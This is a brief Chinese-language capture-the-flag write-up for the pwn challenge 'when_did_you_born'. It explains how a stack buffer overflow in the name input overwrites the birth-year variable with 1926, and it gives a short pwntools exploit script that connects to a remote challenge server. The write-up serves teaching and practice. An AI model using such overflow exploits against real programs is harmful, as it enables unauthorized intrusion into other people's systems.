when_did_you_born
题目描述:只要知道你的年龄就能获得flag,但菜鸡发现无论如何输入都不正确,怎么办
题目附件:
file如下:
64位ELF文件
checksec文件:
IDA反汇编,查看main函数:
我们的目标就是让v5等于1926,但是如果读入v5的时候输入1926,就会被提示"You Cannot Born In 1926!"
观察到v4存在缓冲区溢出漏洞
我们可以随便输入一个v5,然后通过读入v4时将v5覆盖成1926
exp如下:
from pwn import * #io = process('./pwn') io = connect('220.249.52.133', 59833) io.sendlineafter('Birth?', '0') payload = b'a'*0x08 + p32(1926) io.sendlineafter('Name?', payload) io.interactive()